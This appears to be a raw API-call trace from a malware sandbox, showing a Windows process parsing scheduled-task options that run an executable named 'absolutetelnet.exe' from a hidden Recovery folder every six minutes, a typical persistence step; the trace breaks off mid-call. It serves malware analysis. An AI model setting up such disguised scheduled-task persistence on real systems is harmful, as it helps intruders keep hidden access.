[0144.151] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd570 [0144.151] lstrlenW (lpString="MINUTE") returned 6 [0144.151] lstrlenW (lpString=" \x09") returned 2 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0144.151] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0144.151] GetLastError () returned 0x0 [0144.151] lstrlenW (lpString="MINUTE") returned 6 [0144.151] lstrlenW (lpString="MINUTE") returned 6 [0144.151] SetLastError (dwErrCode=0x0) [0144.151] SetLastError (dwErrCode=0x0) [0144.151] lstrlenW (lpString="/mo") returned 3 [0144.151] lstrlenW (lpString="-/") returned 2 [0144.151] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.151] lstrlenW (lpString="create") returned 6 [0144.151] lstrlenW (lpString="create") returned 6 [0144.151] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.151] lstrlenW (lpString="mo") returned 2 [0144.151] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.151] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.151] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.151] lstrlenW (lpString="|create|") returned 8 [0144.151] lstrlenW (lpString="|mo|") returned 4 [0144.152] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0144.152] SetLastError (dwErrCode=0x490) [0144.152] lstrlenW (lpString="?") returned 1 [0144.152] lstrlenW (lpString="?") returned 1 [0144.152] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.157] lstrlenW (lpString="mo") returned 2 [0144.157] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.157] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|?|") returned 3 [0144.157] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.157] lstrlenW (lpString="|?|") returned 3 [0144.157] lstrlenW (lpString="|mo|") returned 4 [0144.158] SetLastError (dwErrCode=0x490) [0144.158] lstrlenW (lpString="s") returned 1 [0144.158] lstrlenW (lpString="s") returned 1 [0144.158] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.158] lstrlenW (lpString="mo") returned 2 [0144.158] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.158] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|s|") returned 3 [0144.158] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.158] lstrlenW (lpString="|s|") returned 3 [0144.158] lstrlenW (lpString="|mo|") returned 4 [0144.158] SetLastError (dwErrCode=0x490) [0144.158] lstrlenW (lpString="u") returned 1 [0144.158] lstrlenW (lpString="u") returned 1 [0144.158] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.158] lstrlenW (lpString="mo") returned 2 [0144.158] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.158] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|u|") returned 3 [0144.158] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.158] lstrlenW (lpString="|u|") returned 3 [0144.158] lstrlenW (lpString="|mo|") returned 4 [0144.158] SetLastError (dwErrCode=0x490) [0144.158] lstrlenW (lpString="p") returned 1 [0144.158] lstrlenW (lpString="p") returned 1 [0144.158] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.158] lstrlenW (lpString="mo") returned 2 [0144.158] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.159] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|p|") returned 3 [0144.159] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.159] lstrlenW (lpString="|p|") returned 3 [0144.159] lstrlenW (lpString="|mo|") returned 4 [0144.159] SetLastError (dwErrCode=0x490) [0144.159] lstrlenW (lpString="ru") returned 2 [0144.159] lstrlenW (lpString="ru") returned 2 [0144.159] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.159] lstrlenW (lpString="mo") returned 2 [0144.159] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.159] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ru|") returned 4 [0144.159] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.159] lstrlenW (lpString="|ru|") returned 4 [0144.159] lstrlenW (lpString="|mo|") returned 4 [0144.159] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0144.159] SetLastError (dwErrCode=0x490) [0144.159] lstrlenW (lpString="rp") returned 2 [0144.159] lstrlenW (lpString="rp") returned 2 [0144.159] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.159] lstrlenW (lpString="mo") returned 2 [0144.159] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.159] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|rp|") returned 4 [0144.159] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.159] lstrlenW (lpString="|rp|") returned 4 [0144.159] lstrlenW (lpString="|mo|") returned 4 [0144.159] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0144.159] SetLastError (dwErrCode=0x490) [0144.160] lstrlenW (lpString="sc") returned 2 [0144.160] lstrlenW (lpString="sc") returned 2 [0144.160] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.160] lstrlenW (lpString="mo") returned 2 [0144.160] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.160] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.160] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.160] lstrlenW (lpString="|sc|") returned 4 [0144.160] lstrlenW (lpString="|mo|") returned 4 [0144.160] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0144.160] SetLastError (dwErrCode=0x490) [0144.160] lstrlenW (lpString="mo") returned 2 [0144.160] lstrlenW (lpString="mo") returned 2 [0144.160] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.160] lstrlenW (lpString="mo") returned 2 [0144.160] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.160] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.160] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.160] lstrlenW (lpString="|mo|") returned 4 [0144.160] lstrlenW (lpString="|mo|") returned 4 [0144.160] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0144.160] SetLastError (dwErrCode=0x0) [0144.160] SetLastError (dwErrCode=0x0) [0144.160] lstrlenW (lpString="6") returned 1 [0144.160] SetLastError (dwErrCode=0x490) [0144.160] SetLastError (dwErrCode=0x0) [0144.160] lstrlenW (lpString="6") returned 1 [0144.161] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0144.161] SetLastError (dwErrCode=0x490) [0144.161] SetLastError (dwErrCode=0x0) [0144.161] _memicmp (_Buf1=0x2cd550, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.161] lstrlenW (lpString="6") returned 1 [0144.161] lstrlenW (lpString="6") returned 1 [0144.161] lstrlenW (lpString=" \x09") returned 2 [0144.161] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0144.161] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0144.161] GetLastError () returned 0x0 [0144.161] lstrlenW (lpString="6") returned 1 [0144.161] lstrlenW (lpString="6") returned 1 [0144.161] GetProcessHeap () returned 0x2b0000 [0144.161] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x4) returned 0x2cc210 [0144.161] SetLastError (dwErrCode=0x0) [0144.161] SetLastError (dwErrCode=0x0) [0144.161] lstrlenW (lpString="/tr") returned 3 [0144.161] lstrlenW (lpString="-/") returned 2 [0144.161] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.161] lstrlenW (lpString="create") returned 6 [0144.161] lstrlenW (lpString="create") returned 6 [0144.161] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.161] lstrlenW (lpString="tr") returned 2 [0144.161] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.161] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|create|") returned 8 [0144.161] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.161] lstrlenW (lpString="|create|") returned 8 [0144.161] lstrlenW (lpString="|tr|") returned 4 [0144.161] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0144.162] SetLastError (dwErrCode=0x490) [0144.162] lstrlenW (lpString="?") returned 1 [0144.162] lstrlenW (lpString="?") returned 1 [0144.162] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.162] lstrlenW (lpString="tr") returned 2 [0144.162] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.162] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|?|") returned 3 [0144.162] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.162] lstrlenW (lpString="|?|") returned 3 [0144.162] lstrlenW (lpString="|tr|") returned 4 [0144.162] SetLastError (dwErrCode=0x490) [0144.162] lstrlenW (lpString="s") returned 1 [0144.162] lstrlenW (lpString="s") returned 1 [0144.162] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.162] lstrlenW (lpString="tr") returned 2 [0144.162] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.162] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|s|") returned 3 [0144.162] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.162] lstrlenW (lpString="|s|") returned 3 [0144.162] lstrlenW (lpString="|tr|") returned 4 [0144.162] SetLastError (dwErrCode=0x490) [0144.162] lstrlenW (lpString="u") returned 1 [0144.162] lstrlenW (lpString="u") returned 1 [0144.162] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.162] lstrlenW (lpString="tr") returned 2 [0144.162] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.163] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|u|") returned 3 [0144.163] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.163] lstrlenW (lpString="|u|") returned 3 [0144.163] lstrlenW (lpString="|tr|") returned 4 [0144.163] SetLastError (dwErrCode=0x490) [0144.163] lstrlenW (lpString="p") returned 1 [0144.163] lstrlenW (lpString="p") returned 1 [0144.163] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.163] lstrlenW (lpString="tr") returned 2 [0144.163] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.163] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|p|") returned 3 [0144.163] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.163] lstrlenW (lpString="|p|") returned 3 [0144.163] lstrlenW (lpString="|tr|") returned 4 [0144.163] SetLastError (dwErrCode=0x490) [0144.163] lstrlenW (lpString="ru") returned 2 [0144.163] lstrlenW (lpString="ru") returned 2 [0144.163] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.163] lstrlenW (lpString="tr") returned 2 [0144.163] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.163] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|ru|") returned 4 [0144.163] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.163] lstrlenW (lpString="|ru|") returned 4 [0144.163] lstrlenW (lpString="|tr|") returned 4 [0144.163] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0144.163] SetLastError (dwErrCode=0x490) [0144.163] lstrlenW (lpString="rp") returned 2 [0144.164] lstrlenW (lpString="rp") returned 2 [0144.164] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.164] lstrlenW (lpString="tr") returned 2 [0144.164] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.164] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|rp|") returned 4 [0144.164] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.164] lstrlenW (lpString="|rp|") returned 4 [0144.164] lstrlenW (lpString="|tr|") returned 4 [0144.164] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0144.164] SetLastError (dwErrCode=0x490) [0144.164] lstrlenW (lpString="sc") returned 2 [0144.164] lstrlenW (lpString="sc") returned 2 [0144.164] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.164] lstrlenW (lpString="tr") returned 2 [0144.164] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.164] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|sc|") returned 4 [0144.164] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.164] lstrlenW (lpString="|sc|") returned 4 [0144.164] lstrlenW (lpString="|tr|") returned 4 [0144.164] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0144.164] SetLastError (dwErrCode=0x490) [0144.164] lstrlenW (lpString="mo") returned 2 [0144.164] lstrlenW (lpString="mo") returned 2 [0144.164] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.164] lstrlenW (lpString="tr") returned 2 [0144.164] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.165] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|mo|") returned 4 [0144.165] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.165] lstrlenW (lpString="|mo|") returned 4 [0144.165] lstrlenW (lpString="|tr|") returned 4 [0144.165] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0144.165] SetLastError (dwErrCode=0x490) [0144.165] lstrlenW (lpString="d") returned 1 [0144.165] lstrlenW (lpString="d") returned 1 [0144.165] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.165] lstrlenW (lpString="tr") returned 2 [0144.165] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.165] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|d|") returned 3 [0144.165] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.165] lstrlenW (lpString="|d|") returned 3 [0144.165] lstrlenW (lpString="|tr|") returned 4 [0144.165] SetLastError (dwErrCode=0x490) [0144.165] lstrlenW (lpString="m") returned 1 [0144.165] lstrlenW (lpString="m") returned 1 [0144.165] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.165] lstrlenW (lpString="tr") returned 2 [0144.165] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.165] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|m|") returned 3 [0144.165] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.165] lstrlenW (lpString="|m|") returned 3 [0144.165] lstrlenW (lpString="|tr|") returned 4 [0144.165] SetLastError (dwErrCode=0x490) [0144.166] lstrlenW (lpString="i") returned 1 [0144.166] lstrlenW (lpString="i") returned 1 [0144.166] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.166] lstrlenW (lpString="tr") returned 2 [0144.166] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.166] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|i|") returned 3 [0144.166] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.166] lstrlenW (lpString="|i|") returned 3 [0144.166] lstrlenW (lpString="|tr|") returned 4 [0144.166] SetLastError (dwErrCode=0x490) [0144.166] lstrlenW (lpString="tn") returned 2 [0144.166] lstrlenW (lpString="tn") returned 2 [0144.166] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.166] lstrlenW (lpString="tr") returned 2 [0144.166] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.166] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tn|") returned 4 [0144.166] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.166] lstrlenW (lpString="|tn|") returned 4 [0144.166] lstrlenW (lpString="|tr|") returned 4 [0144.166] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0144.166] SetLastError (dwErrCode=0x490) [0144.166] lstrlenW (lpString="tr") returned 2 [0144.166] lstrlenW (lpString="tr") returned 2 [0144.166] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.166] lstrlenW (lpString="tr") returned 2 [0144.166] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.167] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.167] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c7c8 | out: _Buffer="|tr|") returned 4 [0144.167] lstrlenW (lpString="|tr|") returned 4 [0144.167] lstrlenW (lpString="|tr|") returned 4 [0144.167] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0144.167] SetLastError (dwErrCode=0x0) [0144.167] SetLastError (dwErrCode=0x0) [0144.167] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.167] lstrlenW (lpString="-/") returned 2 [0144.167] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0144.167] SetLastError (dwErrCode=0x490) [0144.167] SetLastError (dwErrCode=0x490) [0144.167] SetLastError (dwErrCode=0x0) [0144.167] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.167] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'" [0144.167] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.167] _memicmp (_Buf1=0x2cc340, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.167] _memicmp (_Buf1=0x2cc380, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.167] SetLastError (dwErrCode=0x7a) [0144.167] SetLastError (dwErrCode=0x0) [0144.167] SetLastError (dwErrCode=0x0) [0144.167] lstrlenW (lpString="'C") returned 2 [0144.167] lstrlenW (lpString="-/") returned 2 [0144.167] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0144.167] SetLastError (dwErrCode=0x490) [0144.167] SetLastError (dwErrCode=0x490) [0144.168] SetLastError (dwErrCode=0x0) [0144.168] _memicmp (_Buf1=0x2cd550, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.168] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.168] GetProcessHeap () returned 0x2b0000 [0144.168] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570) returned 1 [0144.168] GetProcessHeap () returned 0x2b0000 [0144.168] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cd570, Size=0x8c) returned 0x2cc2a0 [0144.172] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0144.172] lstrlenW (lpString=" \x09") returned 2 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0144.172] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0144.173] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0144.174] StrChrW (lpStart=" \x09", wMatch=0x74) returned 